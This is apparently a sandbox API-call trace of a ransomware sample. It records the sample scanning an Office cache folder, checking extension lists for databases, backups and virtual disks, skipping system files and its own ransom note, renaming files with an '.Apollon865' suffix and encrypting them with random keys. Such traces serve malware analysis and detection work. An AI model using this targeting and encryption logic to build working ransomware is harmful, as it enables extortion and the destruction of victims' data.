	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0079.029] lstrlenW (lpString="mud") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0079.029] lstrlenW (lpString="mwb") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0079.030] lstrlenW (lpString="myd") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0079.030] lstrlenW (lpString="ndf") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0079.030] lstrlenW (lpString="nnt") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0079.030] lstrlenW (lpString="nrmlib") returned 6
	[0079.030] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1
	[0079.030] lstrlenW (lpString="ns2") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0079.030] lstrlenW (lpString="ns3") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0079.030] lstrlenW (lpString="ns4") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0079.030] lstrlenW (lpString="nsf") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0079.030] lstrlenW (lpString="nv") returned 2
	[0079.030] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0079.030] lstrlenW (lpString="nv2") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0079.030] lstrlenW (lpString="nwdb") returned 4
	[0079.030] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0079.030] lstrlenW (lpString="nyf") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0079.030] lstrlenW (lpString="odb") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0079.030] lstrlenW (lpString="odb") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0079.030] lstrlenW (lpString="oqy") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0079.030] lstrlenW (lpString="ora") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0079.030] lstrlenW (lpString="orx") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0079.030] lstrlenW (lpString="owc") returned 3
	[0079.030] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0079.031] lstrlenW (lpString="p96") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0079.031] lstrlenW (lpString="p97") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0079.031] lstrlenW (lpString="pan") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0079.031] lstrlenW (lpString="pdb") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0079.031] lstrlenW (lpString="pdm") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0079.031] lstrlenW (lpString="pnz") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0079.031] lstrlenW (lpString="qry") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0079.031] lstrlenW (lpString="qvd") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0079.031] lstrlenW (lpString="rbf") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0079.031] lstrlenW (lpString="rctd") returned 4
	[0079.031] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0079.031] lstrlenW (lpString="rod") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0079.031] lstrlenW (lpString="rodx") returned 4
	[0079.031] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0079.031] lstrlenW (lpString="rpd") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0079.031] lstrlenW (lpString="rsd") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0079.031] lstrlenW (lpString="sas7bdat") returned 8
	[0079.031] lstrcmpiW (lpString1="lkLR.cab", lpString2="sas7bdat") returned -1
	[0079.031] lstrlenW (lpString="sbf") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0079.031] lstrlenW (lpString="scx") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0079.031] lstrlenW (lpString="sdb") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0079.031] lstrlenW (lpString="sdc") returned 3
	[0079.031] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0079.032] lstrlenW (lpString="sdf") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0079.032] lstrlenW (lpString="sis") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0079.032] lstrlenW (lpString="spq") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0079.032] lstrlenW (lpString="te") returned 2
	[0079.032] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0079.032] lstrlenW (lpString="teacher") returned 7
	[0079.032] lstrcmpiW (lpString1="kLR.cab", lpString2="teacher") returned -1
	[0079.032] lstrlenW (lpString="tmd") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0079.032] lstrlenW (lpString="tps") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0079.032] lstrlenW (lpString="trc") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0079.032] lstrlenW (lpString="trc") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0079.032] lstrlenW (lpString="trm") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0079.032] lstrlenW (lpString="udb") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0079.032] lstrlenW (lpString="udl") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0079.032] lstrlenW (lpString="usr") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0079.032] lstrlenW (lpString="v12") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0079.032] lstrlenW (lpString="vis") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0079.032] lstrlenW (lpString="vpd") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0079.032] lstrlenW (lpString="vvv") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0079.032] lstrlenW (lpString="wdb") returned 3
	[0079.032] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0079.032] lstrlenW (lpString="wmdb") returned 4
	[0079.032] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0079.033] lstrlenW (lpString="wrk") returned 3
	[0079.033] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0079.033] lstrlenW (lpString="xdb") returned 3
	[0079.033] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0079.033] lstrlenW (lpString="xld") returned 3
	[0079.033] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0079.033] lstrlenW (lpString="xmlff") returned 5
	[0079.033] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1
	[0079.033] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="..") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="windows") returned -1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="bootmgr") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="temp") returned -1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="pagefile.sys") returned -1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="boot") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="ids.txt") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="ntuser.dat") returned 1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="perflogs") returned -1
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="MSBuild") returned 1
	[0079.033] lstrlenW (lpString="OutlookMUI.msi") returned 14
	[0079.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0079.033] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OutlookMUI.msi" | out: lpString1="OutlookMUI.msi") returned="OutlookMUI.msi"
	[0079.033] lstrlenW (lpString="OutlookMUI.msi") returned 14
	[0079.033] lstrlenW (lpString="Apollon865") returned 10
	[0079.033] lstrcmpiW (lpString1="ookMUI.msi", lpString2="Apollon865") returned 1
	[0079.033] lstrlenW (lpString=".dll") returned 4
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".dll") returned 1
	[0079.033] lstrlenW (lpString=".lnk") returned 4
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".lnk") returned 1
	[0079.033] lstrlenW (lpString=".ini") returned 4
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".ini") returned 1
	[0079.033] lstrlenW (lpString=".sys") returned 4
	[0079.033] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".sys") returned 1
	[0079.033] lstrlenW (lpString="OutlookMUI.msi") returned 14
	[0079.033] lstrlenW (lpString="bak") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0079.034] lstrlenW (lpString="ba_") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0079.034] lstrlenW (lpString="dbb") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0079.034] lstrlenW (lpString="vmdk") returned 4
	[0079.034] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0079.034] lstrlenW (lpString="rar") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0079.034] lstrlenW (lpString="zip") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0079.034] lstrlenW (lpString="tgz") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0079.034] lstrlenW (lpString="vbox") returned 4
	[0079.034] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0079.034] lstrlenW (lpString="vdi") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0079.034] lstrlenW (lpString="vhd") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0079.034] lstrlenW (lpString="vhdx") returned 4
	[0079.034] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0079.034] lstrlenW (lpString="avhd") returned 4
	[0079.034] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0079.034] lstrlenW (lpString="db") returned 2
	[0079.034] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0079.034] lstrlenW (lpString="db2") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0079.034] lstrlenW (lpString="db3") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0079.034] lstrlenW (lpString="dbf") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0079.034] lstrlenW (lpString="mdf") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0079.034] lstrlenW (lpString="mdb") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0079.034] lstrlenW (lpString="sql") returned 3
	[0079.034] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0079.034] lstrlenW (lpString="sqlite") returned 6
	[0079.035] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0079.035] lstrlenW (lpString="sqlite3") returned 7
	[0079.035] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0079.035] lstrlenW (lpString="sqlitedb") returned 8
	[0079.035] lstrcmpiW (lpString1="kMUI.msi", lpString2="sqlitedb") returned -1
	[0079.035] lstrlenW (lpString="xml") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0079.035] lstrlenW (lpString="$er") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0079.035] lstrlenW (lpString="4dd") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0079.035] lstrlenW (lpString="4dl") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0079.035] lstrlenW (lpString="^^^") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0079.035] lstrlenW (lpString="abs") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0079.035] lstrlenW (lpString="abx") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0079.035] lstrlenW (lpString="accdb") returned 5
	[0079.035] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0079.035] lstrlenW (lpString="accdc") returned 5
	[0079.035] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0079.035] lstrlenW (lpString="accde") returned 5
	[0079.035] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0079.035] lstrlenW (lpString="accdr") returned 5
	[0079.035] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0079.035] lstrlenW (lpString="accdt") returned 5
	[0079.035] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0079.035] lstrlenW (lpString="accdw") returned 5
	[0079.035] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0079.035] lstrlenW (lpString="accft") returned 5
	[0079.035] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0079.035] lstrlenW (lpString="adb") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.035] lstrlenW (lpString="adb") returned 3
	[0079.035] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.035] lstrlenW (lpString="ade") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0079.036] lstrlenW (lpString="adf") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0079.036] lstrlenW (lpString="adn") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0079.036] lstrlenW (lpString="adp") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0079.036] lstrlenW (lpString="alf") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0079.036] lstrlenW (lpString="ask") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0079.036] lstrlenW (lpString="btr") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0079.036] lstrlenW (lpString="cat") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0079.036] lstrlenW (lpString="cdb") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0079.036] lstrlenW (lpString="ckp") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0079.036] lstrlenW (lpString="cma") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0079.036] lstrlenW (lpString="cpd") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0079.036] lstrlenW (lpString="dacpac") returned 6
	[0079.036] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0079.036] lstrlenW (lpString="dad") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0079.036] lstrlenW (lpString="dadiagrams") returned 10
	[0079.036] lstrcmpiW (lpString1="ookMUI.msi", lpString2="dadiagrams") returned 1
	[0079.036] lstrlenW (lpString="daschema") returned 8
	[0079.036] lstrcmpiW (lpString1="kMUI.msi", lpString2="daschema") returned 1
	[0079.036] lstrlenW (lpString="db-journal") returned 10
	[0079.036] lstrcmpiW (lpString1="ookMUI.msi", lpString2="db-journal") returned 1
	[0079.036] lstrlenW (lpString="db-shm") returned 6
	[0079.036] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0079.036] lstrlenW (lpString="db-wal") returned 6
	[0079.036] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0079.036] lstrlenW (lpString="dbc") returned 3
	[0079.036] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0079.037] lstrlenW (lpString="dbs") returned 3
	[0079.037] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0079.037] lstrlenW (lpString="dbt") returned 3
	[0079.037] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0079.037] lstrlenW (lpString="dbv") returned 3
	[0079.037] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0079.037] lstrlenW (lpString="dbx") returned 3
	[0079.037] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0079.037] lstrlenW (lpString="dcb") returned 3
	[0079.037] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0079.037] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0079.037] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OutlookMUI.xml" | out: lpString1="OutlookMUI.xml") returned="OutlookMUI.xml"
	[0079.037] lstrlenW (lpString="OutlookMUI.xml") returned 14
	[0079.037] lstrlenW (lpString="Apollon865") returned 10
	[0079.037] lstrcmpiW (lpString1="ookMUI.xml", lpString2="Apollon865") returned 1
	[0079.037] lstrlenW (lpString=".dll") returned 4
	[0079.037] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".dll") returned 1
	[0079.037] lstrlenW (lpString=".lnk") returned 4
	[0079.037] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".lnk") returned 1
	[0079.037] lstrlenW (lpString=".ini") returned 4
	[0079.037] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".ini") returned 1
	[0079.037] lstrlenW (lpString=".sys") returned 4
	[0079.037] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2=".sys") returned 1
	[0079.037] lstrlenW (lpString="OutlookMUI.xml") returned 14
	[0079.037] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.Apollon865") returned 88
	[0079.038] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0079.038] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3186) returned 1
	[0079.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0079.039] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0079.040] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.040] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0079.040] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf80, lpName=0x0) returned 0xc0
	[0079.044] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf80) returned 0x100000
	[0079.044] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0079.045] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.045] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0079.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0079.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0079.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0079.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.046] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.046] CloseHandle (hObject=0xc0) returned 1
	[0079.046] CloseHandle (hObject=0x150) returned 1
	[0079.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0079.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.046] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0079.046] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0079.047] lstrlenW (lpString="Setup.xml") returned 9
	[0079.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77
	[0079.047] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0079.047] lstrlenW (lpString="Setup.xml") returned 9
	[0079.047] lstrlenW (lpString="Apollon865") returned 10
	[0079.047] lstrlenW (lpString=".dll") returned 4
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0079.047] lstrlenW (lpString=".lnk") returned 4
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0079.047] lstrlenW (lpString=".ini") returned 4
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0079.047] lstrlenW (lpString=".sys") returned 4
	[0079.047] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0079.047] lstrlenW (lpString="Setup.xml") returned 9
	[0079.047] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0079.047] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0079.048] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4207) returned 1
	[0079.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
